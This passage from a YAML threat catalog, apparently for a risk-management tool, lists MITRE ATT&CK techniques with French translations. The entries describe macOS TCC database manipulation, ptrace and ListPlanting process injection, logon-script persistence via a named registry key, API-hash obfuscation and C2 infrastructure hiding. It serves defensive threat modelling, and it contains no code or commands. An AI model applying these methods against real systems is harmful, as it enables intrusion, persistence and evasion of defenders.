          \ : \xC9l\xE9vation de privil\xE8ges GCP de Rhingo Security Labs)\n\nLes\
          \ fonctions sans serveur peuvent \xE9galement \xEAtre appel\xE9es en r\xE9\
          ponse \xE0 des \xE9v\xE9nements cloud (c\u2019est-\xE0-dire [Event Triggered\
          \ Execution](https://attack.mitre.org/techniques/T1546)), ce qui permet\
          \ potentiellement une ex\xE9cution persistante au fil du temps. Par exemple,\
          \ dans les environnements AWS, un adversaire peut cr\xE9er une fonction\
          \ Lambda qui ajoute automatiquement des [Informations d\u2019identification\
          \ cloud suppl\xE9mentaires](https://attack.mitre.org/techniques/T1098/001)\
          \ \xE0 un utilisateur et une r\xE8gle d\u2019\xE9v\xE9nements CloudWatch\
          \ correspondante qui appelle cette fonction chaque fois qu\u2019un nouvel\
          \ utilisateur est cr\xE9\xE9. (Citation : Porte d\xE9rob\xE9e d\u2019un\
          \ compte AWS) Cela est \xE9galement possible dans de nombreuses suites d\u2019\
          applications bureautiques bas\xE9es sur le cloud. Par exemple, dans les\
          \ environnements Microsoft 365, un adversaire peut cr\xE9er un flux de travail\
          \ Power Automate qui transf\xE8re tous les e-mails qu\u2019un utilisateur\
          \ re\xE7oit ou cr\xE9e des liens de partage anonymes chaque fois qu\u2019\
          un utilisateur est autoris\xE9 \xE0 acc\xE9der \xE0 un document dans SharePoint.\
          \ (citation : Varonis Power Automate Data Exfiltration)(R\xE9f\xE9rence\
          \ : Rapport de cas Microsoft DART 001) Dans les environnements Google Workspace,\
          \ ils peuvent cr\xE9er un script d\u2019applications qui exfiltre les donn\xE9\
          es d\u2019un utilisateur lorsqu\u2019il ouvre un fichier. (Citation : Cloud\
          \ hack tricks GWS Apps script)(Citation : OWN-CERT Google App Script 2024)\n\
          https://attack.mitre.org/techniques/T1648"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1548.006
    ref_id: T1548.006
    name: TCC Manipulation
    description: 'Adversaries can manipulate or abuse the Transparency, Consent, &
      Control (TCC) service or database to grant malicious executables elevated permissions.
      TCC is a Privacy & Security macOS control mechanism used to determine if the
      running process has permission to access the data or services protected by TCC,
      such as screen sharing, camera, microphone, or Full Disk Access (FDA).


      When an application requests to access data or a service protected by TCC, the
      TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application
      Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file
      (if connected to an MDM) for existing permissions. If permissions do not exist,
      then the user is prompted to grant permission. Once permissions are granted,
      the database stores the application''s permissions and will not prompt the user
      again unless reset. For example, when a web browser requests permissions to
      the user''s webcam, once granted the web browser may not explicitly prompt the
      user again.(Citation: welivesecurity TCC)


      Adversaries may access restricted data or services protected by TCC through
      abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055)
      or executing a malicious binary using another application. For example, adversaries
      can use Finder, a macOS native app with FDA permissions, to execute a malicious
      [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing
      under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002)
      inherits access to all files on the system without requiring a user prompt.
      When System Integrity Protection (SIP) is disabled, TCC protections are also
      disabled. For a system without SIP enabled, adversaries can manipulate the TCC
      database to add permissions to their malicious executable through loading an
      adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation:
      TCC macOS bypass)(Citation: TCC Database)

      https://attack.mitre.org/techniques/T1548/006'
    translations:
      fr:
        name: TCC Manipulation
        description: "Les adversaires peuvent manipuler ou abuser du service ou de\
          \ la base de donn\xE9es TCC (Transparency, Consent, & Control) pour accorder\
          \ des autorisations \xE9lev\xE9es aux ex\xE9cutables malveillants. TCC est\
          \ un m\xE9canisme de contr\xF4le macOS de confidentialit\xE9 et de s\xE9\
          curit\xE9 utilis\xE9 pour d\xE9terminer si le processus en cours d\u2019\
          ex\xE9cution est autoris\xE9 \xE0 acc\xE9der aux donn\xE9es ou aux services\
          \ prot\xE9g\xE9s par TCC, tels que le partage d\u2019\xE9cran, l\u2019appareil\
          \ photo, le microphone ou l\u2019acc\xE8s complet au disque (FDA).\n\nLorsqu\u2019\
          une application demande l\u2019acc\xE8s \xE0 des donn\xE9es ou \xE0 un service\
          \ prot\xE9g\xE9 par TCC, le d\xE9mon TCC (\xAB tccd \xBB) v\xE9rifie la\
          \ base de donn\xE9es TCC, situ\xE9e \xE0 l\u2019adresse \xAB /Library/Application\
          \ Support/com.apple.TCC/TCC.db \xBB (et l\u2019\xE9quivalent de \xAB ~/\
          \ \xBB), et un fichier d\u2019\xE9crasement (s\u2019il est connect\xE9 \xE0\
          \ un MDM) pour les autorisations existantes. S\u2019il n\u2019existe pas\
          \ d\u2019autorisations, l\u2019utilisateur est invit\xE9 \xE0 accorder l\u2019\
          autorisation. Une fois les autorisations accord\xE9es, la base de donn\xE9\
          es stocke les autorisations de l\u2019application et n\u2019invite plus\
          \ l\u2019utilisateur \xE0 moins d\u2019\xEAtre r\xE9initialis\xE9e. Par\
          \ exemple, lorsqu\u2019un navigateur Web demande des autorisations \xE0\
          \ la webcam de l\u2019utilisateur, une fois accord\xE9es, le navigateur\
          \ Web peut ne pas inviter explicitement l\u2019utilisateur \xE0 nouveau.\
          \ (Citation : welivesecurity TCC)\n\nLes adversaires peuvent acc\xE9der\
          \ \xE0 des donn\xE9es ou \xE0 des services restreints prot\xE9g\xE9s par\
          \ TCC en abusant des applications pr\xE9c\xE9demment autoris\xE9es par le\
          \ biais de [Process Injection](https://attack.mitre.org/techniques/T1055)\
          \ ou en ex\xE9cutant un binaire malveillant \xE0 l\u2019aide d\u2019une\
          \ autre application. Par exemple, les adversaires peuvent utiliser Finder,\
          \ une application native macOS dot\xE9e d\u2019autorisations FDA, pour ex\xE9\
          cuter un [AppleScript](https://attack.mitre.org/techniques/T1059/002) malveillant.\
          \ Lorsqu\u2019il est ex\xE9cut\xE9 sous l\u2019application Finder, le logiciel\
          \ malveillant [AppleScript](https://attack.mitre.org/techniques/T1059/002)\
          \ h\xE9rite de l\u2019acc\xE8s \xE0 tous les fichiers du syst\xE8me sans\
          \ qu\u2019il soit n\xE9cessaire d\u2019y demander l\u2019utilisateur. Lorsque\
          \ la protection de l\u2019int\xE9grit\xE9 du syst\xE8me (SIP) est d\xE9\
          sactiv\xE9e, les protections TCC sont \xE9galement d\xE9sactiv\xE9es. Pour\
          \ un syst\xE8me sans SIP activ\xE9, les adversaires peuvent manipuler la\
          \ base de donn\xE9es TCC pour ajouter des autorisations \xE0 leur ex\xE9\
          cutable malveillant en chargeant une base de donn\xE9es TCC contr\xF4l\xE9\
          e par l\u2019adversaire \xE0 l\u2019aide de variables d\u2019environnement\
          \ et de [Launchctl](https://attack.mitre.org/techniques/T1569/001). (Citation\
          \ : Contournement de TCC macOS)(R\xE9f\xE9rence : Base de donn\xE9es TCC)\n\
          https://attack.mitre.org/techniques/T1548/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.008
    ref_id: T1055.008
    name: Ptrace System Calls
    description: "Adversaries may inject malicious code into processes via ptrace\
      \ (process trace) system calls in order to evade process-based defenses as well\
      \ as possibly elevate privileges. Ptrace system call injection is a method of\
      \ executing arbitrary code in the address space of a separate live process.\
      \ \n\nPtrace system call injection involves attaching to and modifying a running\
      \ process. The ptrace system call enables a debugging process to observe and\
      \ control another process (and each individual thread), including changing memory\
      \ and register values.(Citation: PTRACE man) Ptrace system call injection is\
      \ commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>)\
      \ then invoking that memory with <code>PTRACE_SETREGS</code> to set the register\
      \ containing the next instruction to execute. Ptrace system call injection can\
      \ also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>,\
      \ which copy data to a specific address in the target processes\u2019 memory\
      \ (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation:\
      \ Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible\
      \ targeting processes that are non-child processes and/or have higher-privileges.(Citation:\
      \ BH Linux Inject) \n\nRunning code in the context of another process may allow\
      \ access to the process's memory, system/network resources, and possibly elevated\
      \ privileges. Execution via ptrace system call injection may also evade detection\
      \ from security products since the execution is masked under a legitimate process.\n\
      https://attack.mitre.org/techniques/T1055/008"
    translations:
      fr:
        name: "Appels syst\xE8me Ptrace"
        description: "Les adversaires peuvent injecter du code malveillant dans les\
          \ processus via les appels syst\xE8me ptrace (trace de processus) afin d\u2019\
          \xE9chapper aux d\xE9fenses bas\xE9es sur les processus et \xE9ventuellement\
          \ d\u2019\xE9lever les privil\xE8ges. L\u2019injection d\u2019appel syst\xE8\
          me Ptrace est une m\xE9thode d\u2019ex\xE9cution de code arbitraire dans\
          \ l\u2019espace d\u2019adressage d\u2019un processus en direct distinct.\
          \ \n\nL\u2019injection d\u2019appels syst\xE8me Ptrace consiste \xE0 attacher\
          \ et \xE0 modifier un processus en cours d\u2019ex\xE9cution. L\u2019appel\
          \ syst\xE8me ptrace permet \xE0 un processus de d\xE9bogage d\u2019observer\
          \ et de contr\xF4ler un autre processus (et chaque thread individuel), y\
          \ compris la modification des valeurs de m\xE9moire et de registre. (Citation\
          \ : homme PTRACE) L\u2019injection d\u2019appel syst\xE8me Ptrace est g\xE9\
          n\xE9ralement effectu\xE9e en \xE9crivant du code arbitraire dans un processus\
          \ en cours d\u2019ex\xE9cution (ex : <code>malloc</code>) puis en invoquant\
          \ cette m\xE9moire avec <code>PTRACE_SETREGS</code> pour d\xE9finir le registre\
          \ contenant l\u2019instruction suivante \xE0 ex\xE9cuter. L\u2019injection\
          \ d\u2019appels syst\xE8me Ptrace peut \xE9galement se faire avec <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>,\
          \ qui copient les donn\xE9es \xE0 une adresse sp\xE9cifique dans la m\xE9\
          moire des processus cibles (ex : l\u2019adresse actuelle de l\u2019instruction\
          \ suivante). (Citation : homme PTRACE)(Citation : Medium Ptrace JUIL. 2018)\
          \ \n\nL\u2019injection d\u2019appels syst\xE8me Ptrace peut ne pas \xEA\
          tre possible en ciblant les processus qui ne sont pas des processus enfants\
          \ et/ou qui ont des privil\xE8ges plus \xE9lev\xE9s. (Citation : BH Linux\
          \ Inject) \n\nL\u2019ex\xE9cution de code dans le contexte d\u2019un autre\
          \ processus peut permettre d\u2019acc\xE9der \xE0 la m\xE9moire du processus,\
          \ aux ressources syst\xE8me/r\xE9seau et \xE9ventuellement \xE0 des privil\xE8\
          ges \xE9lev\xE9s. L\u2019ex\xE9cution via l\u2019injection d\u2019appel\
          \ syst\xE8me ptrace peut \xE9galement \xE9chapper \xE0 la d\xE9tection des\
          \ produits de s\xE9curit\xE9, car l\u2019ex\xE9cution est masqu\xE9e par\
          \ un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1653
    ref_id: T1653
    name: Power Settings
    description: 'Adversaries may impair a system''s ability to hibernate, reboot,
      or shut down in order to extend access to infected machines. When a computer
      enters a dormant state, some or all software and hardware may cease to operate
      which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)


      Adversaries may abuse system utilities and configuration settings to maintain
      access by preventing machines from entering a state, such as standby, that can
      terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation:
      systemdsleep Linux)


      For example, `powercfg` controls all configurable power system settings on a
      Windows system and can be abused to prevent an infected host from locking or
      shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android
      Users) Adversaries may also extend system lock screen timeout settings.(Citation:
      BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as
      disk and hibernate timeout, can be similarly abused to keep the infected machine
      running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware
      Loader Campaign)


      Aware that some malware cannot survive system reboots, adversaries may entirely
      delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)

      https://attack.mitre.org/techniques/T1653'
    translations:
      fr:
        name: "Param\xE8tres d\u2019alimentation"
        description: "Les adversaires peuvent entraver la capacit\xE9 d\u2019un syst\xE8\
          me \xE0 se mettre en veille prolong\xE9e, \xE0 red\xE9marrer ou \xE0 s\u2019\
          arr\xEAter afin d\u2019\xE9tendre l\u2019acc\xE8s aux machines infect\xE9\
          es. Lorsqu\u2019un ordinateur entre dans un \xE9tat dormant, une partie\
          \ ou la totalit\xE9 des logiciels et du mat\xE9riel peuvent cesser de fonctionner,\
          \ ce qui peut perturber l\u2019activit\xE9 malveillante. (Citation : dormir,\
          \ s\u2019\xE9teindre, hiberner)\n\nLes adversaires peuvent abuser des utilitaires\
          \ syst\xE8me et des param\xE8tres de configuration pour maintenir l\u2019\
          acc\xE8s en emp\xEAchant les machines d\u2019entrer dans un \xE9tat, tel\
          \ que la veille, qui peut mettre fin \xE0 une activit\xE9 malveillante.\
          \ (Citation : Microsoft : Options de ligne de commande Powercfg)(Citation\
          \ : systemdsleep Linux)\n\nPar exemple, \xAB powercfg \xBB contr\xF4le tous\
          \ les param\xE8tres configurables du syst\xE8me d\u2019alimentation sur\
          \ un syst\xE8me Windows et peut \xEAtre utilis\xE9 de mani\xE8re abusive\
          \ pour emp\xEAcher un h\xF4te infect\xE9 de se verrouiller ou de s\u2019\
          arr\xEAter. (Citation : Deux nouvelles attaques de logiciels malveillants\
          \ Monero ciblent les utilisateurs de Windows et d\u2019Android) Les adversaires\
          \ peuvent \xE9galement \xE9tendre les param\xE8tres de d\xE9lai d\u2019\
          expiration de l\u2019\xE9cran de verrouillage du syst\xE8me. (Citation :\
          \ BATLOADER : Le logiciel malveillant de t\xE9l\xE9chargement \xE9vasif)\
          \ D\u2019autres param\xE8tres pertinents, tels que le d\xE9lai d\u2019expiration\
          \ du disque et de la mise en veille prolong\xE9e, peuvent \xEAtre utilis\xE9\
          s de la m\xEAme mani\xE8re pour maintenir la machine infect\xE9e en fonctionnement\
          \ m\xEAme si aucun utilisateur n\u2019est actif. (Citation : CoinLoader\
          \ : une campagne sophistiqu\xE9e de chargement de logiciels malveillants)\n\
          \nConscients que certains logiciels malveillants ne peuvent pas survivre\
          \ aux red\xE9marrages du syst\xE8me, les adversaires peuvent supprimer enti\xE8\
          rement les fichiers utilis\xE9s pour appeler l\u2019arr\xEAt ou le red\xE9\
          marrage du syst\xE8me. (Citation : Condi-Botnet-binaries)\nhttps://attack.mitre.org/techniques/T1653"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.007
    ref_id: T1027.007
    name: Dynamic API Resolution
    description: 'Adversaries may obfuscate then dynamically resolve API functions
      called by their malware in order to conceal malicious functionalities and impair
      defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106)
      functions provided by the OS to perform various tasks such as those involving
      processes, files, and other system artifacts.


      API functions called by malware may leave static artifacts such as strings in
      payload files. Defensive analysts may also uncover which functions a binary
      file may execute via an import address table (IAT) or other structures that
      help dynamically link calling code to the shared modules that provide functions.(Citation:
      Huntress API Hash)(Citation: IRED API Hashing)


      To avoid static or other defensive analysis, adversaries may use dynamic API
      resolution to conceal malware characteristics and functionalities. Similar to
      [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API
      resolution may change file signatures and obfuscate malicious API function calls
      until they are resolved and invoked during runtime.


      Various methods may be used to obfuscate malware calls to API functions. For
      example, hashes of function names are commonly stored in malware in lieu of
      literal strings. Malware can use these hashes (or other identifiers) to manually
      reproduce the linking and loading process using functions such as `GetProcAddress()`
      and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated
      using encryption or other string manipulation tricks (requiring various forms
      of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)
      during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation:
      Huntress API Hash)

      https://attack.mitre.org/techniques/T1027/007'
    translations:
      fr:
        name: "R\xE9solution dynamique de l\u2019API"
        description: "Les adversaires peuvent obscurcir, puis r\xE9soudre dynamiquement\
          \ les fonctions API appel\xE9es par leurs logiciels malveillants afin de\
          \ dissimuler des fonctionnalit\xE9s malveillantes et d\u2019entraver l\u2019\
          analyse d\xE9fensive. Les logiciels malveillants utilisent g\xE9n\xE9ralement\
          \ diverses fonctions [API natives](https://attack.mitre.org/techniques/T1106)\
          \ fournies par le syst\xE8me d\u2019exploitation pour effectuer diverses\
          \ t\xE2ches telles que celles impliquant des processus, des fichiers et\
          \ d\u2019autres artefacts syst\xE8me.\n\nLes fonctions d\u2019API appel\xE9\
          es par des programmes malveillants peuvent laisser des artefacts statiques\
          \ tels que des cha\xEEnes dans les fichiers de charge utile. Les analystes\
          \ d\xE9fensifs peuvent \xE9galement d\xE9couvrir les fonctions qu\u2019\
          un fichier binaire peut ex\xE9cuter via une table d\u2019adresses d\u2019\
          importation (IAT) ou d\u2019autres structures qui permettent de lier dynamiquement\
          \ le code appelant aux modules partag\xE9s qui fournissent des fonctions.\
          \ (Citation : hachage de l\u2019API Huntress)(Citation : Hachage de l\u2019\
          API IRED)\n\nPour \xE9viter l\u2019analyse statique ou d\xE9fensive, les\
          \ adversaires peuvent utiliser la r\xE9solution dynamique de l\u2019API\
          \ pour dissimuler les caract\xE9ristiques et les fonctionnalit\xE9s des\
          \ logiciels malveillants. \xC0 l\u2019instar de [Software Packing](https://attack.mitre.org/techniques/T1027/002),\
          \ la r\xE9solution dynamique de l\u2019API peut modifier les signatures\
          \ de fichiers et obscurcir les appels de fonction d\u2019API malveillants\
          \ jusqu\u2019\xE0 ce qu\u2019ils soient r\xE9solus et invoqu\xE9s pendant\
          \ l\u2019ex\xE9cution.\n\nDiverses m\xE9thodes peuvent \xEAtre utilis\xE9\
          es pour masquer les appels de logiciels malveillants aux fonctions de l\u2019\
          API. Par exemple, les hachages de noms de fonctions sont g\xE9n\xE9ralement\
          \ stock\xE9s dans les logiciels malveillants \xE0 la place des cha\xEEnes\
          \ litt\xE9rales. Les logiciels malveillants peuvent utiliser ces hachages\
          \ (ou d\u2019autres identifiants) pour reproduire manuellement le processus\
          \ de liaison et de chargement \xE0 l\u2019aide de fonctions telles que \xAB\
          \ GetProcAddress() \xBB et \xAB LoadLibrary() \xBB. Ces hachages/identifiants\
          \ peuvent \xE9galement \xEAtre obscurcis \xE0 l\u2019aide du chiffrement\
          \ ou d\u2019autres astuces de manipulation de cha\xEEnes (n\xE9cessitant\
          \ diverses formes de [D\xE9brouiller/D\xE9coder des fichiers ou des informations](https://attack.mitre.org/techniques/T1140)\
          \ pendant l\u2019ex\xE9cution). (Citation : BlackHat API Packers)(Citation\
          \ : Drakonia HInvoke)(Citation : hachage de l\u2019API Huntress)\nhttps://attack.mitre.org/techniques/T1027/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.001
    ref_id: T1021.001
    name: Remote Desktop Protocol
    description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ to log into a computer using the Remote Desktop Protocol (RDP). The adversary\
      \ may then perform actions as the logged-on user.\n\nRemote desktop is a common\
      \ feature in operating systems. It allows a user to log into an interactive\
      \ session with a system desktop graphical user interface on a remote system.\
      \ Microsoft refers to its implementation of the Remote Desktop Protocol (RDP)\
      \ as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\
      \ \n\nAdversaries may connect to a remote system over RDP/RDS to expand access\
      \ if the service is enabled and allows access to accounts with known credentials.\
      \ Adversaries will likely use Credential Access techniques to acquire credentials\
      \ to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility\
      \ Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services\
      \ DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation:\
      \ Alperovitch Malware)\nhttps://attack.mitre.org/techniques/T1021/001"
    translations:
      fr:
        name: "Protocole de bureau \xE0 distance"
        description: "Les adversaires peuvent utiliser [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour se connecter \xE0 un ordinateur \xE0 l\u2019aide du protocole RDP\
          \ (Remote Desktop Protocol). L\u2019adversaire peut alors effectuer des\
          \ actions en tant qu\u2019utilisateur connect\xE9.\n\nLe bureau \xE0 distance\
          \ est une fonctionnalit\xE9 courante dans les syst\xE8mes d\u2019exploitation.\
          \ Il permet \xE0 un utilisateur de se connecter \xE0 une session interactive\
          \ avec une interface utilisateur graphique de bureau sur un syst\xE8me distant.\
          \ Microsoft fait r\xE9f\xE9rence \xE0 son impl\xE9mentation du protocole\
          \ RDP (Remote Desktop Protocol) en tant que Remote Desktop Services (RDS).\
          \ (Citation : Services de bureau \xE0 distance TechNet) \n\nLes adversaires\
          \ peuvent se connecter \xE0 un syst\xE8me distant via RDP/RDS pour \xE9\
          tendre l\u2019acc\xE8s si le service est activ\xE9 et autorise l\u2019acc\xE8\
          s \xE0 des comptes avec des informations d\u2019identification connues.\
          \ Les adversaires utiliseront probablement des techniques d\u2019acc\xE8\
          s aux informations d\u2019identification pour acqu\xE9rir des informations\
          \ d\u2019identification \xE0 utiliser avec RDP. Les adversaires peuvent\
          \ \xE9galement utiliser RDP conjointement avec les [Fonctionnalit\xE9s d\u2019\
          accessibilit\xE9](https://attack.mitre.org/techniques/T1546/008) ou [DLL\
          \ des services Terminal Server](https://attack.mitre.org/techniques/T1505/005)\
          \ pour la persistance. (Citation : Alperovitch Malware)\nhttps://attack.mitre.org/techniques/T1021/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1037.001
    ref_id: T1037.001
    name: Logon Script (Windows)
    description: 'Adversaries may use Windows logon scripts automatically executed
      at logon initialization to establish persistence. Windows allows logon scripts
      to be run whenever a specific user or group of users log into a system.(Citation:
      TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\Environment\UserInitMprLogonScript</code>
      Registry key.(Citation: Hexacorn Logon Scripts)


      Adversaries may use these scripts to maintain persistence on a single system.
      Depending on the access configuration of the logon scripts, either local credentials
      or an administrator account may be necessary.

      https://attack.mitre.org/techniques/T1037/001'
    translations:
      fr:
        name: "Script d\u2019ouverture de session (Windows)"
        description: "Les adversaires peuvent utiliser des scripts d\u2019ouverture\
          \ de session Windows ex\xE9cut\xE9s automatiquement lors de l\u2019initialisation\
          \ de l\u2019ouverture de session pour \xE9tablir la persistance. Windows\
          \ permet d\u2019ex\xE9cuter des scripts d\u2019ouverture de session chaque\
          \ fois qu\u2019un utilisateur ou un groupe d\u2019utilisateurs sp\xE9cifique\
          \ se connecte \xE0 un syst\xE8me. (Citation : Scripts de connexion TechNet)\
          \ Pour ce faire, il suffit d\u2019ajouter un chemin d\u2019acc\xE8s \xE0\
          \ un script \xE0 la cl\xE9 <code>de registre HKCU\\Environment\\UserInitMprLogonScript</code>.\
          \ (Citation : Scripts Hexacorn Logon)\n\nLes adversaires peuvent utiliser\
          \ ces scripts pour maintenir la persistance sur un seul syst\xE8me. Selon\
          \ la configuration d\u2019acc\xE8s des scripts d\u2019ouverture de session,\
          \ des informations d\u2019identification locales ou un compte administrateur\
          \ peuvent \xEAtre n\xE9cessaires.\nhttps://attack.mitre.org/techniques/T1037/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.015
    ref_id: T1055.015
    name: ListPlanting
    description: "Adversaries may abuse list-view controls to inject malicious code\
      \ into hijacked processes in order to evade process-based defenses as well as\
      \ possibly elevate privileges. ListPlanting is a method of executing arbitrary\
      \ code in the address space of a separate live process.(Citation: Hexacorn Listplanting)\
      \ Code executed via ListPlanting may also evade detection from security products\
      \ since the execution is masked under a legitimate process.\n\nList-view controls\
      \ are user interface windows used to display collections of items.(Citation:\
      \ Microsoft List View Controls) Information about an application's list-view\
      \ settings are stored within the process' memory in a <code>SysListView32</code>\
      \ control.\n\nListPlanting (a form of message-passing \"shatter attack\") may\
      \ be performed by copying code into the virtual address space of a process that\
      \ uses a list-view control then using that code as a custom callback for sorting\
      \ the listed items.(Citation: Modexp Windows Process Injection) Adversaries\
      \ must first copy code into the target process\u2019 memory space, which can\
      \ be performed various ways including by directly obtaining a handle to the\
      \ <code>SysListView32</code> child of the victim process window (via Windows\
      \ API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>)\
      \ or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\
      \nSome variations of ListPlanting may allocate memory in the target process\
      \ but then use window messages to copy the payload, to avoid the use of the\
      \ highly monitored <code>WriteProcessMemory</code> function. For example, an\
      \ adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code>\
      \ API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code>\
      \ messages, effectively copying a payload 2 bytes at a time to the allocated\
      \ memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered\
      \ by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code>\
      \ child of the process window, with the payload within the newly allocated buffer\
      \ passed and executed as the <code>ListView_SortItems</code> callback.\nhttps://attack.mitre.org/techniques/T1055/015"
    translations:
      fr:
        name: ListePlantation
        description: "Les adversaires peuvent abuser des contr\xF4les d\u2019affichage\
          \ de liste pour injecter du code malveillant dans des processus d\xE9tourn\xE9\
          s afin d\u2019\xE9chapper aux d\xE9fenses bas\xE9es sur les processus et\
          \ \xE9ventuellement d\u2019\xE9lever des privil\xE8ges. ListPlanting est\
          \ une m\xE9thode d\u2019ex\xE9cution de code arbitraire dans l\u2019espace\
          \ d\u2019adressage d\u2019un processus actif distinct. (Citation : Hexacorn\
          \ Listplanting) Le code ex\xE9cut\xE9 via ListPlanting peut \xE9galement\
          \ \xE9chapper \xE0 la d\xE9tection des produits de s\xE9curit\xE9, car l\u2019\
          ex\xE9cution est masqu\xE9e par un processus l\xE9gitime.\n\nLes contr\xF4\
          les d\u2019affichage en liste sont des fen\xEAtres d\u2019interface utilisateur\
          \ utilis\xE9es pour afficher des collections d\u2019\xE9l\xE9ments. (Citation\
          \ : Contr\xF4les d\u2019affichage de liste Microsoft) Les informations relatives\
          \ aux param\xE8tres d\u2019affichage de liste d\u2019une application sont\
          \ stock\xE9es dans la m\xE9moire du processus dans un contr\xF4le <code>SysListView32</code>.\n\
          \nListPlanting (une forme d'\xAB attaque par \xE9clatement \xBB par transmission\
          \ de message) peut \xEAtre effectu\xE9 en copiant le code dans l\u2019espace\
          \ d\u2019adressage virtuel d\u2019un processus qui utilise un contr\xF4\
          le d\u2019affichage de liste, puis en utilisant ce code comme rappel personnalis\xE9\
          \ pour trier les \xE9l\xE9ments r\xE9pertori\xE9s. (Citation : Injection\
          \ de processus Modexp Windows) Les adversaires doivent d\u2019abord copier\
          \ le code dans l\u2019espace m\xE9moire du processus cible, ce qui peut\
          \ \xEAtre effectu\xE9 de diff\xE9rentes mani\xE8res, notamment en obtenant\
          \ directement un handle vers l\u2019enfant <code>SysListView32</code> de\
          \ la fen\xEAtre de processus victime (via des appels d\u2019API Windows\
          \ tels que <code>FindWindow</code> et/ou <code>EnumWindows</code>) ou d\u2019\
          autres m\xE9thodes [Injection de processus](https://attack.mitre.org/techniques/T1055).\n\
          \nCertaines variantes de ListPlanting peuvent allouer de la m\xE9moire dans\
          \ le processus cible, mais ensuite utiliser des messages de fen\xEAtre pour\
          \ copier la charge utile, afin d\u2019\xE9viter l\u2019utilisation de la\
          \ fonction <code>WriteProcessMemory</code> hautement surveill\xE9e. Par\
          \ exemple, un adversaire peut utiliser les fonctions <code>d\u2019API PostMessage</code>\
          \ et/ou <code>SendMessage</code> pour envoyer des messages <code>LVM_SETITEMPOSITION</code>\
          \ et <code>LVM_GETITEMPOSITION</code>, en copiant efficacement une charge\
          \ utile de 2 octets \xE0 la fois dans la m\xE9moire allou\xE9e. (Citation\
          \ : ESET InvisiMole, juin 2020) \n\nEnfin, la charge utile est d\xE9clench\xE9\
          e par l\u2019envoi du message <code>LVM_SORTITEMS</code> \xE0 l\u2019enfant\
          \ <code>SysListView32</code> de la fen\xEAtre de processus, avec la charge\
          \ utile dans la m\xE9moire tampon nouvellement allou\xE9e transmise et ex\xE9\
          cut\xE9e en tant que rappel <code>ListView_SortItems</code>.\nhttps://attack.mitre.org/techniques/T1055/015"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1665
    ref_id: T1665
    name: Hide Infrastructure
    description: 'Adversaries may manipulate network traffic in order to hide and
      evade detection of their C2 infrastructure. This can be accomplished in various
      ways including by identifying and filtering traffic from defensive tools,(Citation:
      TA571) masking malicious domains to obfuscate the true destination from both
      automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation:
      Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts
      to delay discovery and prolong the effectiveness of adversary infrastructure
      that could otherwise be identified, blocked, or taken down entirely.


      C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090)
      or VPNs to disguise IP addresses, which can allow adversaries to blend in with
      normal network traffic and bypass conditional access policies or anti-abuse
      protections. For example, an adversary may use a virtual private cloud to spoof
      their IP address to closer align with a victim''s IP address ranges. This may
      also bypass security measures relying on geolocation of the source IP address.(Citation:
      sysdig)(Citation: Orange Residential Proxies)


      Adversaries may also attempt to filter network traffic in order to evade defensive
      tools in numerous ways, including blocking/redirecting common incident responder
      or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update)
      Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing
      or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation:
      TA571)(Citation: mod_rewrite)


      Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042)
      activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584).
      For example, using widely trusted hosting services or domains such as prominent
      URL shortening providers or marketing services for C2 networks may enable adversaries
      to present benign content that later redirects victims to malicious web pages
      or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation:
      QR-cofense)

      https://attack.mitre.org/techniques/T1665'
